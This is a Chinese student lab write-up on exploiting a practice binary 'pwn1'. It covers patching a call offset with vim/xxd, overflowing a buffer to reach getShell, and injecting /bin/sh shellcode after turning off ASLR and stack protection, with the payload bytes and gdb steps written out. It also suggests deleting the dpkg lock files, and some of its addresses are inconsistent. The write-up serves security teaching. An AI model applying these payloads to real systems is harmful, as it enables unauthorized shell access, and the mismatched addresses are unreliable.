Exp1 PC平台逆向破解(5)M

实践内容

  1. 实践对象是一个可执行文件pwn1
  2. 本程序的正常执行顺序应该是main函数调用foo函数,foo函数输出用户输入的字符串。
  3. 本程序还包含了另一个代码片段getshell,会返回一个可用的shell值,在正常的执行状况中该段代码不会被执行,而我们此次实践的内容就是对可执行文件进行攻击,从而让程序执行到此段代码。

    实践要求

  2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)2.2掌握反汇编与十六进制编程器 (0.5分)2.3能正确修改机器指令改变程序执行流程(0.5分)2.4能正确构造payload进行bof攻击(0.5分)

实践基础知识:

(1)NOP指令即“空指令”(机器码:90)。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。所以NOP指令自然也会占用执行一个指令的CPU时间片。

(2)JNE是一个条件转移指令(机器码:75)。当ZF=0,转至标号处执行。

(3)JE是一个条件转移指令(机器码:74)。如果相等则跳转。

(4)JMP是无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

(5)CMP为比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果(机器码:39)。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

实践过程

本次实践有三种实现方式

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

    手工修改可执行文件

    再动手之前应该知道反汇编指令是

objdump -d pwn1(文件名)|more 

动手之前应该准备好32位的执行环境

64位Kali无法顺利执行pwn1问题的解决方案

开始实践

  • 对pwn1进行备份并将副本命名为自己学号"20155329"并用副本进行实践。 使用cp 命令进行复制,例如cp pwn1 20155329
  • 对可执行文件进行反汇编
objdump -d 20155329 | more


由反汇编结果可以看出

图一
  1. e8对应call命令
  2. e8后的绿色部分为抵用的foo函数的偏移地址。

    图二
  3. main地址是080484af、
  4. foo地址是08048491、
  5. getshell的地址是0804847d。

    综上所述
  • foo函数的地址为08048291,getshellh函数的地址为0804847d,用16进制的减法我们可以精确的算出getshell比foo低了14,也就在原来的基础上减去14即可。而在linux环境下,采用小端存储的方式,也就是说d7为低位,就是说将到d7减去14即可,也就是变成c3。,我们使用vim编辑器对地址进行修改。
  • 使用vim打开可执行文件20155329
  • 此时文本为乱码,用“%!xxd”指令将文本转换成16进制文件来进行操作。
  • **修改偏移地址后,使用“%!xxd -r”将16进制文件转换成原文件保存退出。

    运行可执行文件20155329

    通过构造输入参数,造成BOF攻击,改变程序执行流

  • 在实践一的基础上来进行实践二
  • 大致思路是找到返回堆栈地址,gets hell将此地址覆盖,使程序执行getshell段的代码

使用gdb确定输入字符串哪几个字符会覆盖到返回地址

  • 如果输入字符串2015532922222222333333334444444412345678,那 4444 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
  • 在实践一中知道getshell的地址是0804847d
  • getShell的内存地址,在未启用ALSR的主机上是固定不变的,通过反汇编时可以看到,即 0x804847d 。接下来要确认下字节序,简单说是输入 11111111222222223333333344444444\x08\x04\x84\x7d ,还是输入 11111111222222223333333344444444\x7d\x84\x04\x08 。
    对比之前 eip 0x34333231 0x34333231 ,正确应用输入11111111222222223333333344444444\x7d\x84\x04\x08。

  • 确定输入 11111111222222223333333344444444\x7d\x84\x04\x08来覆盖返回值。

    构造输入字符串

由为我们没法通过键盘输入 \x7d\x84\x04\x08 这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

利用Perl构建input文件进行输入,键入指令 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

注入Shellcode并执行

准备一段Shellcode

  • Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写

准备工作

execstack -s pwn1    //设置堆栈可执行execstack -q pwn1//查询文件的堆栈是否可执行
X pwn1more /proc/sys/kernel/randomize_va_space
2
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化more /proc/sys/kernel/randomize_va_space
0
  • 此处可参考缓冲区溢出实验学习

    构造要注入的payload。

    结构为:nops+shellcode+retaddr。

    nop一为是了填充,二是作为“着陆区/滑行区”。

    我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
  • 注意结构
  • 接下来寻找retaddr的地址了
1.打开一个终端注入这段攻击buf: (cat input_shellcode;cat) | ./pwn12.再开另外一个终端,用gdb来调试pwn1这个进程。ps -ef | grep pwn1 //查看进程号(gdb)attach pid
3. 设置断点来查看注入的buf地址(gdb) disassemble foo0x080484ae <+29>:    ret    //断在这,这时注入的东西都大堆栈上了//ret完,就跳到我们覆盖的retaddr那个地方了
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
//在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
(gdb) c
Continuing.Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
esp            0xffffd3ac   0xffffd3ac
(gdb) x/16x 0xffffd3ac  

  • 此时知道我们的结构是:anything+retaddr+nops+shellcode。
  • 所以shellcode紧挨着retaddr地址,所以shell code地址位0xffffd3ac+4 = 0xffffd3b0
  • perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xb0\xd3\xff\xff\x00"' > input_shellcode
  • 成功了
  • 实验中遇见的问题

    共享文件夹无法正常使用

  • 重新安装 VMware tools

    安装32位的运行库时出现问题

  • 问题:无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用)
    E: 无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它?”

  • 解决办法:
  • sudo rm /var/cache/apt/archives/lock
  • sudo rm /var/lib/dpkg/lock

  • 问题:关于更多Shellcode的知识,请参考Shellcode基础。Shellcode基础无法打开

实验收获和感想

  • 收获:本次实验中学习了汇编相关知识,做到了能看懂基本汇编指令,地址的运算gdb调试。大概就是这些吧。
  • 感想,本次实验开始就遇见了大问题,在环境的搭建上出了好多问题,虽然都解决了,但是也花费了大部分的时间,在装vmtools的时候听信了安装一直回车,导致后面的共享文件夹无法使用等问题,重新安装也是同样的问题,重启后又不能使用,最后还是找到一个和我遇见同样问题的大佬,看完他的博客,去添加源,更新源,安装之后解决了这一问题 。所以说还是要细心细心再细心才能减少之后的麻烦。

    什么是漏洞?漏洞有什么危害?

  • 什么是漏洞

     - 漏洞是设计人员在设计过程中遗留下来 的一些缺陷,往往被不法分子利用,进  行攻击。所以一个程序越大,可能出现的漏洞就越多。
  • 漏洞有什么危害
    • 漏洞往往被不法分子利用,攻击用户计算机,非法获取,篡改,删除数据。反正就是做一些损人利己的事情,甚至损人不利己的事。

转载于:https://www.cnblogs.com/hpl20155329/p/8533295.html

Exp1 PC平台逆向破解(5)M相关推荐

  1. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  2. 20155220 吴思其 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155220 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--20155220pwn1的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文 ...

  3. 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp1 PC平台逆向破解

    2019-2020-2 20175227张雪莹<网络对抗技术> Exp1 PC平台逆向破解 目录 0. 实验目标 1. 实验内容 1.1 直接修改程序机器指令,改变程序执行流程 1.2 通 ...

  4. 2018-2019-2 20165234 《网络对抗技术》 Exp1 PC平台逆向破解

    实验一 PC平台逆向破解 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另 ...

  5. 20154312曾林 - Exp1 PC平台逆向破解

    1.逆向及Bof基础实践说明 1.1-实践目标 对象:pwn1(linux可执行文件) 目标:使程序执行另一个代码片段:getshell 内容: 手工修改可执行文件,改变程序执行流程,直接跳转到get ...

  6. 20162318 2018-2019-2《网络对抗技术》Exp1 PC平台逆向破解

    一.实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getS ...

  7. 20164305徐广皓 - Exp1 PC平台逆向破解(5)M

    1.逆向及Bof基础实践说明        1.1实践目标 实践对象:pwn1的linux可执行文件 实践目的:使程序执行另一个代码(ShellCode) 实践内容: 手工修改可执行文件,改变程序执行 ...

  8. EXP1 PC平台逆向破解

    一.实践目标 1.本次实践的对象是一个名为20154310(原为pwn1)的linux可执行文件. 2.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 3.该 ...

  9. Exp1 PC平台逆向破解 20164309 欧阳彧骁

    一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getS ...

最新文章

  1. 17委托异步调用方法
  2. FPGA的设计艺术(13)使用generate语句构建可重用的逻辑设计
  3. 误差模型:过拟合,交叉验证,偏差-方差权衡
  4. gradle mavenCentral()、jcenter()、google()仓库配置成阿里云
  5. java k均值_算法——K均值聚類算法(Java實現)
  6. mac全选文字的快捷键_最全Mac系统快捷键一览
  7. 12-思科防火墙:ASA会话超时
  8. eve可以在linux运行吗,ubuntu下为eve游戏搭载 wine环境
  9. 谷歌在线办公法器-Google Docs
  10. threadlocal内存泄露_深入理解 ThreadLocal
  11. composer更新不成功,启用国内镜像网站的配置更改办法
  12. Stencil Buffer(模板缓冲区)
  13. Java编程练习题2
  14. 使用PLSQL导出oracle表结构,表数据;导入数据
  15. 地理坐标系与投影坐标系
  16. hautoj 1260
  17. postman 解决Could not send request
  18. 网页效果图设计之色彩配色索引
  19. Null和Underfined
  20. 给领导敬酒杯子非要低于领导吗?

热门文章

  1. Java 求分段函数g(x)的值
  2. 【学习笔记】Linux 命令万字解析(超详细)
  3. linux 为开发板添加板级文件config.h
  4. 如何将项目上传到GitHub
  5. Mac安装Dart的SDK
  6. Missing message for key xxx in bundle (default bundle) for locale zh_CN
  7. mongodb配置windows服务启动
  8. AndroidStudio自动补完包的快捷键
  9. IOS7开发~API变化
  10. Cocos2d-CCScene所有场景切换特效[转载]